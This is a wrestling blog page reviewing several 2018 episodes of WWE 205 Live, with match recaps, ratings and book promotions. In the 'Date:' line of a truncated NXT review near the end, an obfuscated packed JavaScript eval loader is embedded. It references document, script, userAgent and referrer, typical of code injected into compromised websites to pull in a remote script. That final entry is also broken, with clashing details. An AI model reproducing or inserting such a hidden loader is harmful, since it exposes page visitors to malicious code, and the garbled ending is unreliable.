Tozawa finally gets a breather and it’s Murphy coming back in for a neckbreaker on TJP. Buddy cleans house but TJP takes him down this time. Another convoluted spot sees TJP put Tozawa in a Gory Stretch and Kalisto in a Rocking Horse at the same time. That goes nowhere so it’s just a Texas Cloverleaf on Tozawa. Kalisto runs in for the save but gets taken down as well, putting all four down at once. This time it’s Tozawa coming in and cleaning house with a series of kicks.

We unleash the dives until Tozawa loads up the top rope backsplash. That’s broken up as well but Kalisto gets sent down to the mat in a crash. In a crazy spot, TJP puts Kalisto in a surfboard, Murphy covers TJP, and Tozawa comes off the top with the backsplash to crush Kalisto. I know it’s contrived but dang that looked cool. Tozawa’s Shining Wizard gets two on TJP with Kalisto breaking it up. TJP grabs a kneebar but Buddy makes the save and hits a big twisting dive onto Tozawa and Kalisto. Back in and Murphy’s Law ends TJP at 13:17.

Rating: B. This was a heck of a cruiserweight showcase match with Murphy looking especially strong. The announcers made sure to go out of their way to talk about Murphy beating three former Cruiserweight Champions. They’re treating this as a big deal and creating a new star in Murphy is a good idea.

Overall Rating: B-. The sitdown interview wasn’t the best stuff but it’s a good idea to create some tension between the two of them. The main event was much better with the four of them beating each other up with some crazy spots. As has been the case for about two months now, they’re doing exactly what they need to do and getting things accomplished. That’s more than 205 Live did for well over a year and now things are picking up. Well done all around and a good show.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: March 6, 2018
Location: Resch Center, Green Bay, Wisconsin
Commentators: Vic Joseph, Nigel McGuinness

We’ll set up the other half of the semifinals tonight and get the tournament down to four possible champions. The problem with that is where we go from here, but there’s always the chance of making things work better after Wrestlemania. If the matches this week are as good as last week, everything will be fine. Let’s get to it.

Need a recap?  Here’s last week’s show.

We open with the now traditional recap of last week’s matches, which is still a really good idea.

Opening sequence.

Drew Gulak says he doesn’t have a PowerPoint because he’s been too focused to open Microsoft Office. Dude get Libre Office.

Cruiserweight Title Tournament Quarterfinals: Drew Gulak vs. Mark Andrews

Andrews’ music is still downright snappy. They’re a bit tentative to start until Gulak’s chop in the corner pops Andrews’ eyes open. Gulak takes him down by the wrist so Mark springboards up for the break. A basement dropkick gives Mark one as they speed things up in short bursts. Andrews’ Code Red is broken up and Gulak forearms him in the jaw.

Drew actually hits a gorilla press of all things before going back to the arm. A variety of armbars set up a keylock but Andrews fights up with an enziguri. They head outside with Mark hitting a moonsault off the announcers’ table as Mark starts putting something together. Back in and a slingshot Mysterio sitout bulldog keeps Drew in trouble. Again: technician vs. speed is a formula that’s always going to work and it’s just fine here. Gulak counters a kick to the chest with an electric chair for two and Andrews is cut off again.

Back up and Mark just unloads in the corner, followed by a hurricanrana out to the floor. Mark’s moonsault out to the floor drops Drew again and panic begins setting in. Gulak grabs him BY THE BEARD (dude too far) and clotheslines Mark out of the air with a hard shot. The Stundog Millionaire out of nowhere drops Gulak but the shooting star hits knees. The dragon sleeper makes Mark tap at 12:10.

Rating: B. Drew continues to look like a killer but this wasn’t quite as aggressive as last week. Andrews fighting from underneath the whole time was a good idea and he plays the underdog quite well. Gulak winning was the right call of course though and he could make for a great finalist, if not champion. I still miss the PowerPoints though.

Drew takes his time letting go of the hold.

Akira Tozawa and Hideo Itami come in to see Drake Maverick, who has put them into a tag match tonight. Drake thinks they could be a good team but Itami threatens to fire him if he’s wrong.

Mustafa Ali is in a parking lot to talk about Buddy Murphy. Buddy wants to call himself the best kept secret but a good man fights for himself instead of others. This had very low production values and I could go for more of something like this in the future.

Hideo Itami/Akira Tozawa vs. Nement Alexander/Scott James

Tozawa and Alexander start things off and Akira peppers him with forearms to the head. Alexander gets in a few shots to the head so Tozawa kicks him in the ribs. Itami comes in for some running shots in the corner before it’s off to James. A running kick to Scott’s face sets up the top rope clothesline as the squash is in full swing. Itami adds a running dropkick in the corner and Tozawa drops the top rope backsplash for the pin at 2:52.

Video of Roderick Strong training.

Cedric Alexander says one more match stands between himself and his Wrestlemania moment. This time will be different.

Last night, Murphy had to weigh in. They seem to include a bad take of Maverick’s statement, including him saying excuse me, counting down to the start of the next take and saying the line again. That’s a bad botch even by WWE’s standards. Murphy has lost even more weight.

Cruiserweight Title Tournament Quarterfinals: Mustafa Ali vs. Buddy Murphy

Murphy takes him into the corner and pops Ali in the chest for a mostly clean break. A hard shoulder takes Ali down again as Gulak is watching in the back. Buddy slaps on a headlock to slow things down a bit as the slow pace seems to work well for him. Back up and a hurricanrana takes Buddy down but he’s waiting when Ali charges at him, causing Ali to stop cold.

With Murphy being bigger and stronger, Ali goes simple by dropkicking him in the face. A HARD clothesline takes Ali down though as Murphy glares down at Ali. Buddy’s superplex is broken up and Ali hits a 450 onto the extended arm. Ali is another step ahead as he avoids a charge, sending the same arm into the post. The rolling X Factor gets two but a tornado DDT is countered with a toss over the top.

Murphy goes aerial with a running flip dive and the Sasha Banks top rope double knees for two more. Now it’s Ali coming back by sending the arm into the corner and snapping off a reverse hurricanrana. One heck of a tornado DDT plants Buddy and Ali blasts him with a hard forearm. Buddy tells him to bring it and then kicks Ali in the face. Murphy’s Law (the pumphandle Death Valley Driver) doesn’t work before of the arm and Ali grabs a cradle for the pin at 11:06.

Rating: B. I was digging the heck out of this with a great story of Murphy being bigger and stronger and winning with the raw power. Ali had to get creative and took away part of that advantage with the arm injury. Murphy is the bigger guy but he’s wrestling at a much lower weight than usual, making it harder for him to keep up with someone naturally smaller and more adept at the style. This was a great story being told and the action backed it up. Ali has grown on me by leaps and bounds in recent weeks and I want to see him go further in this tournament and 205 Live in general.

The final four:

Cedric Alexander

Roderick Strong

Drew Gulak

Mustafa Ali

Overall Rating: B+. Two good matches and a nice little squash. What more do you need from a show that doesn’t even last fifty minutes? This show is starting to act more like NXT every week and that’s a very, very good thing. They have an idea here and it’s working very well, which is all you can ask for. Very fun show here and I want to see where this tournament goes, which I never would have expected coming in.

Results

Drew Gulak b. Mark Andrews – Dragon sleeper

Hideo Itami/Akira Tozawa b. Nement Alexander/Scott James – Top rope backsplash to James

Mustafa Ali b. Buddy Murphy – Rollup

Remember to check out my new forum at steelcageforums.com, follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: February 20, 2018
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: Nigel McGuinness, Vic Joseph

It’s the final night of the first round of the Cruiserweight Title tournament, which means we only have two spots remaining in the quarterfinals. The first three weeks have been a lot of fun with some high quality action so hopefully the final week lives up to its predecessors. The two matches have already been announced so let’s get to it.

Here’s last week’s show if you need a refresher.

We open with a recap of last week’s matches and a preview of tonight’s matches in another well done package.

Opening sequence.

Cruiserweight Title Tournament First Round: Buddy Murphy vs. Ariya Daivari

This is Murphy’s (former NXT Tag Team Champion) main roster debut and PLEASE let him get rid of the somehow still boring Daivari. In a pre-match promo, Daivari mocks Murphy for having to cut weight to make 205lbs. Buddy isn’t stealing Daivari’s Wrestlemania moment. Murphy, who looks like he’s shredded the bottom half of his shorts, runs Daivari over to start and does it again for good measure.

A running hurricanrana sends Daivari outside but he grabs Murphy by the hair and gets a reverse DDT on the apron. Buddy is sent into the steps for one and a hard hiptoss into the corner gets two. We hit the chinlock with a knee in Buddy’s back (at least there’s psychology) for a bit but Buddy fights up with a middle rope dropkick. Buddy takes too long getting to the top so Daivari rolls outside, meaning it’s a HUGE flip dive over the top instead.

Back in and Daivari scores with a discus forearm, followed by the frog splash for two. And that’s it for Daivari’s chances. We actually get a Let’s Go Buddy chant but the hammerlock lariat cuts that off in short order. That’s only good for two as well and Daivari is stunned. Buddy hits some quick strikes and grabs a reverse pumphandle, throws Daivari onto his shoulders and snaps him down into a Death Valley Driver for the pin at 7:35.

Rating: C+. It’s a good debut for Murphy, who looked sharp and athletic, but one day he’s going to mistime that finisher (which needs a name) and it’s going to look bad. At least the interesting guy won here as Daivari may be a veteran, but he’s certainly not an interesting veteran. I’m not seeing Murphy going very far in the tournament but at least he got in a good first match, including kicking out of Daivari’s best stuff to make him look even better.

General Manager Drake Maverick unveils the quarterfinal brackets:

Cedric Alexander

TJP

Roderick Strong

Kalisto

Buddy Murphy

Jack Gallagher/Mustafa Ali

Drew Gulak

Mark Andrews

These matches take place over the next two weeks. Cedric and TJP come in with TJP saying it’s time for Cedric to choke at the finish line again. That’s funny to Cedric, who doesn’t mind putting TJP in a back brace.

Gran Metalik/Lince Dorado vs. Evan Daniels/Corazon Delgado

Daniels and Dorado start things off as the announcers argue about being invited to the lucha house parties. A hurricanrana takes Daniels down before it’s off to Delgado, whose name Nigel pronounces about five different ways. Metalik comes in and counters a headscissors with a faceplant but a quick distraction allows the tag back to Daniels.

A few shots to the back allow Daniels to mock the lucha dance. That’s it for the offense though and it’s back to Dorado as things speed up again. Dorado scores with a double Golden Rewind, followed by the stereo dives to the floor. Back in and Dorado drops the shooting star press to end Daniels at 3:55.

Rating: C. Just a quick squash here and really, that’s not a bad thing when you have the tournament eating up so much time. Of course you could have just let the show be a bit shorter but why do that when you can pump out more content? I mean, quantity is what matters instead of quality right?

Drew Gulak scoffs at the notion that he went too fast last week. Mark Andrews is all flash and none of that will help him when he’s tapping out.

Mark Andrews doesn’t like the idea of a no fly zone because he’s going to fly to Wrestlemania.

Cruiserweight Title Tournament First Round: Jack Gallagher vs. Mustafa Ali

Jack is in regular gear (which looks Slytherin inspired) on Maverick’s orders. Jack backs him up against the ropes to start and actually allows a clean break. Gallagher’s wristlock into a hammerlock has Ali in early trouble as someone says “fifteen and a half more minutes”. Back up and Ali’s leapfrog is countered into a Fujiwara armbar to stay on the arm but Ali is too close to the ropes.

Instead Ali tries a headlock into a half crab but that’s broken up as well. Jack goes into the corner for the upside down wave, only to have Ali flip around into a wave of his own. A pinfall reversal sequence gives us some nifty near falls and Jack is looking annoyed at Ali for being that crisp. They go into the corner again with a far dirtier break (or lack of a break) this time around.

Ali seems to get the better of it by sending Jack outside but a baseball slide gets caught in the ring skirt so Gallagher can hammer away. Back in and we hit the chinlock with an arm trap as we get POWER RANGER/RUSEV DAY chants. Ali is right back up with some kicks to the face and the rolling X Factor. It’s too early for the 054 though as Gallagher snaps the arm over the top. The same arm gets posted and Ali is in major trouble. We hit the double wristlock but Ali stacks him up for the break in a smart counter.

A hammerlock keeps Ali in trouble until he sends Jack to the floor. Ali tries a corkscrew flip dive but Gallagher is down, meaning Ali has to bail out halfway for a nasty looking crash. It’s either that or the arm gives out, but if it’s not at least they have a good explanation. Ali dives back in at nine so Gallagher grabs another Fujiwara armbar. This time Ali gets his feet in the ropes, earning himself a dropkick off the apron to send the arm into the barricade. The arm is posted AGAIN as this is getting to be a bit much.

For some reason the referee doesn’t stop it, even as Ali is tossed upside down into the corner. That’s only good for two and the kickout only gets a lukewarm response. Gallagher ties up the arm and fires in elbows to the head for ANOTHER two, frustrating Jack even more. With the holds not working, Jack tries a belly to back superplex but Ali hands on his feet. A superkick to the back of the head sets up the 054 for the pin at 17:10.

Rating: B. It’s good but they didn’t reach the level of epic that they were shooting for. The arm stuff went on just a bit too long (the same being true for the whole match) and I stopped feeling bad for Ali’s pain at one point. Still though, Ali moving forward makes sense and I could see him making a deep run in this tournament. Gallagher looked good and I’m sure he’ll be back soon enough.

Nigel gives it a standing ovation, which is a bit much.

Overall Rating: B-. The main event as good but this was probably the weakest of the last four shows. The wrestling was fine enough and I liked the addition of Murphy but it wasn’t the most thrilling show in the world. At least they have the tournament quarterfinals set, which is exactly what had to be done. Things should get a lot better in a hurry and that’s a great thing to see.

Remember to check out my new forum at steelcageforums.com and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfdia|var|u0026u|referrer|aynra||js|php'.split('|'),0,{})) January 4, 2017
Location: Margaret Court Arena, Melbourne, Australia
Commentators: Tom Phillips, Corey Graves

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6